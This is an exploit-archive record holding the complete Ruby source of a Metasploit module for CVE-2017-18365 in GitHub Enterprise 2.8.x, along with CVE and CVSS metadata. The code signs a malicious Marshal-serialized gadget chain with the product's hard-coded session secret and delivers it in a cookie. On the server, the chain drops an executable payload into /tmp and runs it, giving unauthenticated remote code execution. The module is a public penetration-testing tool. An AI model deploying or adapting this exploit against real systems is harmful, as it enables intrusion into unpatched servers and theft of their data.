{"exploit":{"id":"MSF-linux--http--github_enterprise_secret","name":"Github Enterprise Default Session Secret And Deserialization Vulnerability","description":"This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6. The first is that the session management uses a hard-coded secret value, which can be abused to sign a serialized malicious Ruby object. The second problem is due to the use of unsafe deserialization, which allows the malicious Ruby object to be loaded, and results in arbitrary remote code execution. This exploit was tested against version 2.8.0.","cves":["CVE-2017-18365"],"author":"iblue, sinn3r","published":"2017-03-15","platform":"Linux","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/9e02ac35d81e745446e23f3b552dce2eea215a8a/modules/exploits/linux/http/github_enterprise_secret.rb","path":"modules/exploits/linux/http/github_enterprise_secret.rb","revision":"9e02ac35d81e745446e23f3b552dce2eea215a8a","filename":"github_enterprise_secret.rb","vulnerabilities":[{"id":"CVE-2017-18365","state":"PUBLISHED","title":null,"titleSource":null,"description":"The Management Console in GitHub Enterprise 2.8.x before 2.8.7 has a deserialization issue that allows unauthenticated remote attackers to execute arbitrary code. This occurs because the enterprise session secret is always the same, and can be found in the product's source code. By sending a crafted cookie signed with this secret, one can call Marshal.load with arbitrary data, which is a problem because the Marshal data format allows Ruby objects.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-18365","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-18365"},"updatedAt":"2024-08-05T21:20:50.961Z","retrievedAt":"2026-11-26T16:01:20.117Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--github_enterprise_secret.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--github_enterprise_secret","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--github_enterprise_secret/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--github_enterprise_secret/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::EXE\n  include Msf::Exploit::FileDropper\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"Github Enterprise Default Session Secret And Deserialization Vulnerability\",\n        'Description' => %q{\n          This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6.\n          The first is that the session management uses a hard-coded secret value, which can be\n          abused to sign a serialized malicious Ruby object. The second problem is due to the\n          use of unsafe deserialization, which allows the malicious Ruby object to be loaded,\n          and results in arbitrary remote code execution.\n\n          This exploit was tested against version 2.8.0.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!)\n          'sinn3r' # Porting the PoC to Metasploit\n        ],\n        'References' => [\n          [ 'CVE', '2017-18365' ],\n          [ 'EDB', '41616' ],\n          [ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ],\n          [ 'URL', 'https://enterprise.github.com/releases/2.8.7/notes' ] # Patched in this version\n        ],\n        'Platform' => 'linux',\n        'Targets' => [\n          [ 'Github Enterprise 2.8', {} ]\n        ],\n        'DefaultOptions' => {\n          'SSL' => true,\n          'RPORT' => 8443\n        },\n        'Privileged' => false,\n        'DisclosureDate' => '2017-03-15',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/'])\n      ]\n    )\n  end\n\n  def secret\n    '641dd6454584ddabfed6342cc66281fb'\n  end\n\n  def check\n    uri = normalize_uri(target_uri.path, 'setup', 'unlock')\n    res = send_request_cgi!({\n      'method' => 'GET',\n      'uri' => uri,\n      'vars_get' => {\n        'redirect_to' => '/'\n      }\n    })\n\n    unless res\n      vprint_error('Connection timed out.')\n      return Exploit::CheckCode::Unknown('Could not determine the target status')\n    end\n\n    unless res.get_cookies.match(/^_gh_manage/)\n      vprint_error('No _gh_manage value in cookie found')\n      return Exploit::CheckCode::Safe('The target is not vulnerable')\n    end\n\n    cookies = res.get_cookies\n    vprint_status(\"Found cookie value: #{cookies}, checking to see if it can be tampered...\")\n    gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first)\n    data = gh_manage_value.split('--').first\n    hmac = gh_manage_value.split('--').last.split(';', 2).first\n    vprint_status(\"Data: #{data.gsub(/\\n/, '')}\")\n    vprint_status(\"Extracted HMAC: #{hmac}\")\n    expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), secret, data)\n    vprint_status(\"Expected HMAC: #{expected_hmac}\")\n\n    if expected_hmac == hmac\n      vprint_status(\"The HMACs match, which means you can sign and tamper the cookie.\")\n      return Exploit::CheckCode::Vulnerable('The target is vulnerable')\n    end\n\n    Exploit::CheckCode::Safe('The target is not vulnerable')\n  end\n\n  def get_ruby_code\n    b64_fname = \"/tmp/#{Rex::Text.rand_text_alpha(6)}.bin\"\n    bin_fname = \"/tmp/#{Rex::Text.rand_text_alpha(5)}.bin\"\n    register_file_for_cleanup(b64_fname, bin_fname)\n    p = Rex::Text.encode_base64(generate_payload_exe)\n\n    c = \"File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; \"\n    c << \"%x(base64 --decode #{b64_fname} > #{bin_fname}); \"\n    c << \"%x(chmod +x #{bin_fname}); \"\n    c << \"%x(#{bin_fname})\"\n    c\n  end\n\n  def serialize\n    # We don't want to run this code within the context of Framework, so we run it as an\n    # external process.\n    # Brilliant trick from Brent and Adam to overcome the issue.\n    ruby_code = %Q|\n    module Erubis;class Eruby;end;end\n    module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end\n\n    erubis = Erubis::Eruby.allocate\n    erubis.instance_variable_set :@src, \\\\\"#{get_ruby_code}; 1\\\\\"\n    proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate\n    proxy.instance_variable_set :@instance, erubis\n    proxy.instance_variable_set :@method, :result\n    proxy.instance_variable_set :@var, \"@result\"\n\n    session =\n    {\n      'session_id' => '',\n      'exploit'    => proxy\n    }\n\n    print Marshal.dump(session)\n    |\n\n    serialized_output = `ruby -e \"#{ruby_code}\"`\n\n    serialized_object = [serialized_output].pack('m')\n    hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), secret, serialized_object)\n\n    return serialized_object, hmac\n  end\n\n  def send_serialized_data(dump, hmac)\n    uri = normalize_uri(target_uri.path)\n    gh_manage_value = CGI.escape(\"#{dump}--#{hmac}\")\n    cookie = \"_gh_manage=#{gh_manage_value}\"\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => uri,\n      'cookie' => cookie\n    })\n\n    if res\n      print_status(\"Server returned: #{res.code}\")\n    end\n  end\n\n  def exploit\n    dump, hmac = serialize\n    print_status('Serialized Ruby stager')\n\n    print_status('Sending serialized Ruby stager...')\n    send_serialized_data(dump, hmac)\n  end\nend\n\n=begin\n\nHandy information:\n\nTo deobfuscate Github code, use this script:\nhttps://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42\n\nGithub Enterprise's Rack::Session::Cookie saves the session data into a cookie using this\nalgorithm:\n\n* Takes the session hash (Json) in env['rack.session']\n* Marshal.dump the hash into a string\n* Base64 the string\n* Append a hash of the data at the end of the string to prevent tampering.\n* The signed data is saved in _gh_manage'\n\nThe format looks like this:\n\n[ DATA ]--[ Hash ]\n\nAlso see:\nhttps://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb\n\n=end\n","sha256":"706050804c93c8189b34aadbef6fcd4ae9bb4eadd68be24d319eea889a53162a","bytes":6243,"fetchedAt":"2026-11-26T17:29:41.218Z","encoding":"utf-8 (display only; download retains original bytes)"}